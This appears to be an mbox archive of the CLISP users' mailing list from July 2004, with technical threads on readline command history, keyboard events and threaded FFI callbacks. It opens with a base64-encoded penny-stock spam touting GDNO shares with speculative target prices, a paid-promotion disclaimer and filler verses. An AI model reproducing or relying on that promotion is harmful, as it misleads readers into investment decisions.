DQpSYXRpbmc6X1VuZGVydmFsdWVkDQoNClRoZSBTUEVDVUxBVElWRSBORUFSIFRFUk0gVEFS R0VUIFBSSUNFIGlzIC0gJDEuMzUNClRoZSBTUEVDVUxBVElWRSBORUFSIFRFUk0gVEFSR0VU IFBSSUNFIGlzIC0gJDEuOTANCg0KLS0tLS0tLS0tPj4+X19ORVdTX188PDwtLS0tLS0tLS0t LS0tLS0tLS0tDQoNCk1JU1NPVUxBLCBNVCwgSnVsIDEzLCAyMDA0IC9QUk5ld3N3aXJlLUZp cnN0Q2FsbCB2aWEgQ09NVEVYLw0KR29sZGVuIE9wcG9ydHVuaXR5IFJlc291cmNlcywgSW5j LiwgKE9UQyBQaW5rOiBHRE5PKSBhIE5ldmFkYQ0KQ29ycG9yYXRpb24uDQoNCkdvbGRlbiBP cHBvcnR1bml0eSBSZXNvdXJjZXMgKEdETk8tUEspIGhhcyBiZWVuIGluZm9ybWVkIGJ5DQp0 aGUgY29tcGFueSdzIGpvaW50IHZlbnR1cmUgcGFydG5lciBhbmQgcHJvamVjdCBvcGVyYXRv ciwgQmlnDQpTbm93eSBSZXNvdXJjZXMgTFAsIHRoYXQgdGhlIGRyaWxsaW5nIG9mIGEgd2Vs bCBsb2NhdGVkIDYsMDAwDQpmZWV0IG5vcnRod2VzdCBvZiB0aGUgaG9sZSBHb2xkZW4gT3Bw b3J0dW5pdHkgaXMgc2V0IHRvIGRyaWxsDQpoYXMgYmVlbiBjb21wbGV0ZWQgdG8gdGFyZ2V0 IGRlcHRoLiBUaGUgQm9sZXJvIDEtMjMgV2VsbCBoYXMNCmJlZW4gY2FzZWQgYW5kIGNlbWVu dGVkLiBUaGUgcHJpbWFyeSB0YXJnZXQsIHRoZSBUeWxlciBDIFNhbmQsDQp3YXMgc3VjY2Vz c2Z1bGx5IGludGVyc2VjdGVkIGF0IDIsODMwIGZlZXQgdG8gMiw4NjAgZmVldCAoODYzDQp0 byA4NzIgbWV0cmVzKS4gDQoNClNjaGx1bWJlcmdlciBPaWxmaWVsZCBTZXJ2aWNlcyBJbmMu IGNvbXBsZXRlZCB0d28gbG9nIHJlcG9ydHMgdG8NCmVuc3VyZSBhY2N1cmFjeSBvZiB0aGUg ZGF0YSBhbmQgaGFzIHByb3ZpZGVkIGVzdGltYXRlcyBmb3IgdGhlDQpwb3RlbnRpYWwgb2Yg b2lsIGFuZCBnYXMgaW4gZWFjaCBvZiB0aGUgZml2ZSB6b25lcyBlbmNvdW50ZXJlZC4NCkFs bCBmaXZlIHpvbmVzIGRlbW9uc3RyYXRlIHBvdGVudGlhbCBjb21tZXJjaWFsLWdyYWRlIGFu ZA0Kc2lnbmlmaWNhbnQgcXVhbnRpdHkgb2YgaHlkcm9jYXJib25zIChvaWwgYW5kIGdhcyks IHdoaWNoIGlzDQpmdXJ0aGVyIGNvcnJvYm9yYXRlZCBieSBzaW1pbGFyaXRpZXMgdG8gb3Ro ZXIgbmVpZ2hib3Jpbmcgb2Zmc2V0DQp3ZWxscywgYm90aCB3aXRoaW4gNDAwIGZlZXQgKDEy MiBtZXRyZXMpIG9mIHRoZSBCb2xlcm8gMS0yMyB3ZWxsLg0KDQpQcmVzaWRlbnQgb2YgR29s ZGVuIE9wcG9ydHVuaXR5IFJlc291cmNlcyBXaWxsaWFtIE1vcnRvbiBzdGF0ZWQNCiJXZSBh dCBHb2xkZW4gT3Bwb3J0dW5pdHkgYXJlIGV4dHJlbWVseSBlbmNvdXJhZ2VkIGJ5IHRoZSBy ZWNlbnQNCmRpc2NvdmVyeSBtYWRlIGp1c3QgNiwwMDAgZmVldCBmcm9tIG91ciBob2xlIHdo aWNoIGlzIHNldCB0byBiZQ0KZHJpbGxlZCBpbiB0aGUgbmV4dCAxMCBkYXlzLiBCaWcgU25v d3kgaGFzIGFkdmlzZWQgdGhlIGNvbXBhbnkNCnRoYXQgdGhlIGRpc2NvdmVyeSBob2xlIGlz IGluIHRoZSBzYW1lIFR5bGVyIGZvcm1hdGlvbiBhcyBHb2xkZW4NCk9wcG9ydHVuaXR5J3Mg aG9sZSB0byBiZSBkcmlsbGVkLiBUaGlzIHJlY2VudCBkZXZlbG9wbWVudCBqdXN0DQphZmZp cm1zIG91ciBiZWxpZWYgdGhhdCB0aGUgcHJvZ3JhbSB3ZSBhcmUgc2V0IHRvIGVtYmFyayB1 cG9uIGlzDQpmaXJzdCByYXRlLiBXZSBhcmUgcGxlYXNlZCB0byBiZSB3b3JraW5nIHdpdGgg QmlnIFNub3d5IGFuZCB0aGVpcg0KdGVhbSBvZiBleHBlcnRzIHdpdGggdmFzdCBleHBlcmll bmNlIGluIHRoaXMgYXJlYS4iDQoNCg0KICAgICAgICoqKiogRG9uJ3QgTWlzcyBUaGlzIE9u ZSBHZXQgSXQgSW1tZWRpYXRlbHkgKioqKg0KDQoNCkRpc2MgLGxhaW1lcg0KDQpJbiBjb21w bGlhbmNlIHdpdGggU2VjdGlvbiAxNyhiKSwgd2UgZGlzY2xvc2UgdGhlIGhvbGRpbmcgb2Yg R0ROTyBzaGFyZXMgcHJpb3IgdG8gdGhlIHB1YmxpY2F0aW9uIG9mIHRoaXMgcmVwb3J0LiBC ZSBhd2FyZSBvZiBhbiBpbmhlcmVudCBjb25mbGljdCBvZiBpbnRlcmVzdCByZXN1bHRpbmcg ZnJvbSBzdWNoIGhvbGRpbmdzIGR1ZSB0byBvdXIgaW50ZW50IHRvIHByb2ZpdCBmcm9tIHRo ZSBsaXF1aWRhdGlvbiBvZiB0aGVzZSBzaGFyZXMuIFNoYXJlcyBtYXkgYmUgc29sZCBhdCBh bnkgdGltZSwgZXZlbiBhZnRlciBwb3NpdGl2ZSBzdGF0ZW1lbnRzIGhhdmUgYmVlbiBtYWRl IHJlZ2FyZGluZyB0aGUgYWJvdmUgY29tcGFueS4gU2luY2Ugd2Ugb3duIHNoYXJlcywgdGhl cmUgaXMgYW4gaW5oZXJlbnQgY29uZmxpY3Qgb2YgaW50ZXJlc3QgaW4gb3VyIHN0YXRlbWVu dHMgYW5kIG9waW5pb25zLiBSZWFkZXJzIG9mIHRoaXMgcHVibGljYXRpb24gYXJlIGNhdXRp b25lZCBub3QgdG8gcGxhY2UgdW5kdWUgcmVsaWFuY2Ugb24gZm9yd2FyZC1sb29raW5nIHN0 YXRlbWVudHMsIHdoaWNoIGFyZSBiYXNlZCBvbiBjZXJ0YWluIGFzc3VtcHRpb25zIGFuZCBl eHBlY3RhdGlvbnMgaW52b2x2aW5nIHZhcmlvdXMgcmlza3MgYW5kIHVuY2VydGFpbnRpZXMs IHRoYXQgY291bGQgY2F1c2UgcmVzdWx0cyB0byBkaWZmZXIgbWF0ZXJpYWxseSBmcm9tIHRo b3NlIHNldCBmb3J0aCBpbiB0aGUgZm9yd2FyZC0gbG9va2luZyBzdGF0ZW1lbnRzLg0KDQpQ bGVhc2UgYmUgYWR2aXNlZCB0aGF0IG5vdGhpbmcgd2l0aGluIHRoaXMgZW1haWwgc2hhbGwg Y29uc3RpdHV0ZSBhIHNvbGljaXRhdGlvbiBvciBhbiBvZmZlciB0byBidXkgb3Igc2VsbCBh bnkgc2VjdXJpdHkgbWVudGlvbmVkIGhlcmVpbi4gVGhpcyBuZXdzbGV0dGVyIGlzIG5laXRo ZXIgYSByZWdpc3RlcmVkIGludmVzdG1lbnQgYWR2aXNvciBub3IgYWZmaWxpYXRlZCB3aXRo IGFueSBicm9rZXIgb3IgZGVhbGVyLiBBbGwgc3RhdGVtZW50cyBtYWRlIGFyZSBvdXIgZXhw cmVzcyBvcGluaW9uIG9ubHkgYW5kIHNob3VsZCBiZSB0cmVhdGVkIGFzIHN1Y2guIFdlIG1h eSBvd24sIGJ1eSBhbmQgc2VsbCBhbnkgc2VjdXJpdGllcyBtZW50aW9uZWQgYXQgYW55IHRp bWUuIFRoaXMgcmVwb3J0IGluY2x1ZGVzIGZvcndhcmQtbG9va2luZyBzdGF0ZW1lbnRzIHdp dGhpbiB0aGUgbWVhbmluZyBvZiBUaGUgUHJpdmF0ZSBTZWN1cml0aWVzIExpdGlnYXRpb24g UmVmb3JtIEFjdCBvZiAxOTk1LiBUaGVzZSBzdGF0ZW1lbnRzIG1heSBpbmNsdWRlIHRlcm1z IGFzICJleHBlY3QiLCAiYmVsaWV2ZSIsICJtYXkiLCAid2lsbCIsICJtb3ZlIiwidW5kZXJ2 YWx1ZWQiIGFuZCAiaW50ZW5kIiBvciBzaW1pbGFyIHRlcm1zLiBUaGlzIG5ld3NsZXR0ZXIg d2FzIHBhaWQgJDY1MDAgZnJvbSB0aGlyZCBwYXJ0eSB0byBzZW5kIHRoaXMgcmVwb3J0LiBQ TEVBU0UgRE8gWU9VUiBPV04gRFVFIERJTElHRU5DRSBCRUZPUkUgSU5WRVNUSU5HIElOIEFO WSBQUk9GSUxFRCBDT01QQU5ZLiBZb3UgbWF5IGxvc2UgbW9uZXkgZnJvbSBpbnZlc3Rpbmcg aW4gUGVubnkgU3RvY2tzLiBUbyBiZSByZW1vdmVkIGZyb20gZnVydGhlciBlbWFpbHMgc2Vu ZCBlbWFpbCB0byBhZ2Vndm9AY3JhYWJ0LmpwDQoNCjQwTgkyMAkyOAlFdmVuIGFzIHRoZSBT b24gb2YgbWFuIGRpZCBub3QgY29tZSB0byBoYXZlIHNlcnZhbnRzLCBidXQgdG8gYmUgYSBz ZXJ2YW50LCBhbmQgdG8gZ2l2ZSBoaXMgbGlmZSBmb3IgdGhlIHNhbHZhdGlvbiBvZiBtZW4u DQoNCjI0Twk1MQk0MwlIZXIgdG93bnMgaGF2ZSBiZWNvbWUgYSB3YXN0ZSwgYSBkcnkgYW5k IHVud2F0ZXJlZCBsYW5kLCB3aGVyZSBubyBtYW4gaGFzIGhpcyBsaXZpbmctcGxhY2UgYW5k IG5vIHNvbiBvZiBtYW4gZ29lcyBieS4= From jacsib@lutecium.org Sun Jul 18 00:42:36 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bm6Jg-0000d8-Ah for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 00:42:36 -0700 Received: from postfix4-1.free.fr ([213.228.0.62]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bm6Jf-0007Qz-UR for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 00:42:36 -0700 Received: from lutecium.org (lutecium.org [81.57.37.96]) by postfix4-1.free.fr (Postfix) with ESMTP id EB5B1164762; Sun, 18 Jul 2004 09:42:29 +0200 (CEST) Received: from lutecium.org (localhost.localdomain [127.0.0.1]) by lutecium.org (8.11.6/8.11.6) with ESMTP id i6I7fTh20359; Sun, 18 Jul 2004 07:41:32 GMT Message-ID: <40FA29A9.DDE82F9F@lutecium.org> From: "Jacques B. Siboni" Organization: Lutecium, Paris, France, http://www.lutecium.org/jacsib X-Mailer: Mozilla 4.8 [en] (X11; U; Linux 2.4.20-24.7 i686) X-Accept-Language: en, zh-CN, zh, zh-TW, ja, ko MIME-Version: 1.0 To: clisp list , cmucl help Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Archeology: PCPLUS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 18 00:43:02 2004 X-Original-Date: Sun, 18 Jul 2004 07:41:29 +0000 Hi all, A bit of archeology... I am looking for the specifications or/and the scheme source code for Personal Consultant expert system shell from Texas Instruments. This software has been discontinued long time ago by TI. I am trying to actualize some expert systems I designed when I was working for TI and after. I have not kept any documentation for this software and the binary version can be executed only on very old dos versions. I am redesigning pclus by now with clisp It would really help me if i could find a user's guide, a reference manual, or someone having the scheme sources, or find a way to put an hand on them Thanks in advance Jacques -- Dr. Jacques B. Siboni mailto:jacsib@Lutecium.org 8 pass. Charles Albert, F75018 Paris, France Tel. & Fax: 33 (0) 1 42 28 76 78 Home Page: http://www.lutecium.org/jacsib/ From bruno@clisp.org Sun Jul 18 05:44:33 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmB1s-0006sr-V7 for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 05:44:32 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BmB1s-00024e-Ck for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 05:44:32 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.0/8.13.0) with ESMTP id i6ICiLE9013333 for ; Sun, 18 Jul 2004 14:44:21 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i6ICiFCL024894; Sun, 18 Jul 2004 14:44:16 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id F103B3B9E2; Sun, 18 Jul 2004 12:33:03 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200407181433.02717.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: clisp command history Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 18 05:45:01 2004 X-Original-Date: Sun, 18 Jul 2004 14:33:02 +0200 Pascal Bourguignon wrote: > the source of clisp should be edited to add this feature > at the readline level. One problem of this, is that we often have > several bash or clisp sessions running at the same time, and the > history saving overwrites all but the last saved history. This would be a bug in the implementation of history handling. You can do better. Here is how to achieve that - the saved history consists of the input that have been terminated up to a given point, - the history in a particular session is not influenced by input that is occurring in other sessions at the same time, or by other sessions terminate. Namely: - When the session starts, read the history from the file into an in-memory buffer1. Clear an in-memory buffer2. - Let readline operations see the concatenation of buffer1 and buffer2. I.e., new lines are added at the end of buffer2, but history searching considers both buffer1 and buffer2. - When you need to write the history (e.g. when the session ends), read the history from the file again into buffer3. Then save buffer3 + buffer2 into the file immediately, and forget about buffer3 again. Bruno From bruno@clisp.org Sun Jul 18 05:58:25 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmBFI-0001mS-54 for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 05:58:24 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BmBFH-0006Op-KD for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 05:58:24 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.0/8.13.0) with ESMTP id i6ICwGPi013528 for ; Sun, 18 Jul 2004 14:58:16 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i6ICwAY1025253; Sun, 18 Jul 2004 14:58:10 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id D78086116; Sun, 18 Jul 2004 12:47:01 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200407181447.00923.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: ext:with-keyboard question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 18 05:59:04 2004 X-Original-Date: Sun, 18 Jul 2004 14:47:00 +0200 > SYS::INPUT-CHARACTER-CHAR will definitely get you #\q out of the > SYSTEM::INPUT-CHARACTER struct. > I am not sure why it (or something similar) is not exported. This code (xcharin.lisp) is meant to 1. provide backward compatibility for CLtL1 programs, 2. accomodate the notion of "keyboard event" into something that resembles a character. Probably these two things should be separated. Or the CLtL1 be removed entirely. Bruno From sds@gnu.org Sun Jul 18 06:51:21 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmC4X-0006WH-Be for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 06:51:21 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BmC4X-0007yQ-1y for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 06:51:21 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BmC4V-0005xb-00; Sun, 18 Jul 2004 09:51:19 -0400 To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200407181447.00923.bruno@clisp.org> (Bruno Haible's message of "Sun, 18 Jul 2004 14:47:00 +0200") References: <200407181447.00923.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: ext:with-keyboard question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 18 06:52:01 2004 X-Original-Date: Sun, 18 Jul 2004 09:51:17 -0400 > * Bruno Haible [2004-07-18 14:47:00 +0200]: > > This code (xcharin.lisp) is meant to 1. provide backward compatibility > for CLtL1 programs, 2. accomodate the notion of "keyboard event" into > something that resembles a character. IMO: CLtL1 should be kept only as a side-effect of other code, when it offers some standard (= known) function names. keyboard events are nice to have, but they (and SCREEN) should be discarded in favor of CLIM (or CLIM is built on top of them). -- Sam Steingold (http://www.podval.org/~sds) running w2k Yeah, yeah, I love cats too... wanna trade recipes? From sds@gnu.org Sun Jul 18 07:07:23 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmCK3-0004KI-Cv for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 07:07:23 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BmCK3-0005tG-1T for clisp-list@lists.sourceforge.net; Sun, 18 Jul 2004 07:07:23 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BmCK2-0007kf-00; Sun, 18 Jul 2004 10:07:22 -0400 To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200407181433.02717.bruno@clisp.org> (Bruno Haible's message of "Sun, 18 Jul 2004 14:33:02 +0200") References: <200407181433.02717.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp command history Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 18 07:08:01 2004 X-Original-Date: Sun, 18 Jul 2004 10:07:21 -0400 > * Bruno Haible [2004-07-18 14:33:02 +0200]: > > - When the session starts, read the history from the file into an in-memory > buffer1. > Clear an in-memory buffer2. > - Let readline operations see the concatenation of buffer1 and buffer2. I.e., > new lines are added at the end of buffer2, but history searching considers > both buffer1 and buffer2. > - When you need to write the history (e.g. when the session ends), read the > history from the file again into buffer3. Then save buffer3 + buffer2 into > the file immediately, and forget about buffer3 again. readline library already offers functions for this. See . Specifically: CUSTOM:*HISTORY-FILE* - pathname designator or NIL (disable). history should be read _after_ ~/.clisprc so that it can be enabled or disabled from there. defaults to ~/.clisp_history or NIL (vote) CUSTOM:*HISTORY-FILE-TRUNCATE* - positive integer or NIL (disable) default to 500 (like bash) (EXT:READ-HISTORY file &key (start 0) (end nil)) call read_history_range() (EXT:WRITE-HISTORY file &key (append t) (truncate nil)) call either write_history() or append_history(), then, optionally, history_truncate_file() (maybe :TRUNCATE should default to CUSTOM:*HISTORY-FILE-TRUNCATE*?) I hope Elvin Peterson, the original requester, will do this. -- Sam Steingold (http://www.podval.org/~sds) running w2k Politically Correct Chess: Translucent VS. Transparent. From Joerg-Cyril.Hoehle@t-systems.com Mon Jul 19 01:11:00 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmTEh-0005Dm-Rs for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 01:10:59 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BmTEh-0003rM-7j for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 01:10:59 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Mon, 19 Jul 2004 10:10:45 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Jul 2004 10:10:49 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03EC9200@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: andreas.thiele@technologiekontor.de MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] using native threads while debugging clisp FFI calls into a newly created (c++) DLL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 19 01:12:06 2004 X-Original-Date: Mon, 19 Jul 2004 10:10:47 +0200 Hi, I'd like to clarify something about Andreas Thiele's failed attempts at = getting his .dll to run. He explained to me that he suspects what I'd call a "design bug", which = I believe must cause crashes in CLISP: his .dll creates a thread which = would callback into Lisp. I don't know what CLISP-win32 does, but doing so would definitely crash = the Amiga. A callback should only occur from the same thread. 1. The second thread is likely to see bad register variables (e.g. = STACK) and crash. Even if it does not, 2. In effect, two threads would be working concurrently on the CLISP = heap and STACK, which is a guarantee for a crash. 3. Furthermore, IIRC non-local transfer of control happen (via throw or = error) uses some stored information about the original machine stack = which doesn't make sense when used from another thread. Now Andreas is successfully building his library under Lispworks (which = supports threads) where it seems to work. Nevertheless, I'd like to = have this issue confirmed or denied if possible. One could argue such a configuration might be made to work if there's = no concurrency w.r.t. CLISP. All that then counts would be that the = calling thread has set the right variables and context. I don't know if = this is the case for Andreas' code. I.e. this *might* possibly work (but e.g. on Amiga, the other thread = should not use the first one's filehandles, I don't know whether there = are similar restrictions on MS-Windows): 1. Lisp call foreign 2. foreign starts thread and loops until some stop signal 3. thread creates event loop 4. threads calls back into lisp 5. Lisp does something and returns into foreign land 6. repeat 4-5 a few times 7. thread sends stop signal to parent and terminates (or at least does = not do anything to Lisp) 8. initial foreign call terminates, returning to Lisp Non-local transfer of control between the two threads must probably be = avoided at all costs (i.e. callback signaling a condition)! Regards, J=F6rg H=F6hle From jacsib@lutecium.org Mon Jul 19 06:44:34 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BmYRU-0001Lc-Nw for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 06:44:32 -0700 Received: from postfix3-2.free.fr ([213.228.0.169]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BmYRU-0004ul-AF for clisp-list@lists.sourceforge.net; Mon, 19 Jul 2004 06:44:32 -0700 Received: from lutecium.org (lutecium.org [81.57.37.96]) by postfix3-2.free.fr (Postfix) with ESMTP id 76C4CC603 for ; Mon, 19 Jul 2004 15:44:29 +0200 (CEST) Received: from lutecium.org (localhost.localdomain [127.0.0.1]) by lutecium.org (8.11.6/8.11.6) with ESMTP id i6JDhUh12059 for ; Mon, 19 Jul 2004 13:43:30 GMT Message-ID: <40FBD001.DC944B41@lutecium.org> From: "Jacques B. Siboni" Organization: Lutecium, Paris, France, http://www.lutecium.org/jacsib X-Mailer: Mozilla 4.8 [en] (X11; U; Linux 2.4.20-24.7 i686) X-Accept-Language: en, zh-CN, zh, zh-TW, ja, ko MIME-Version: 1.0 To: clisp list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 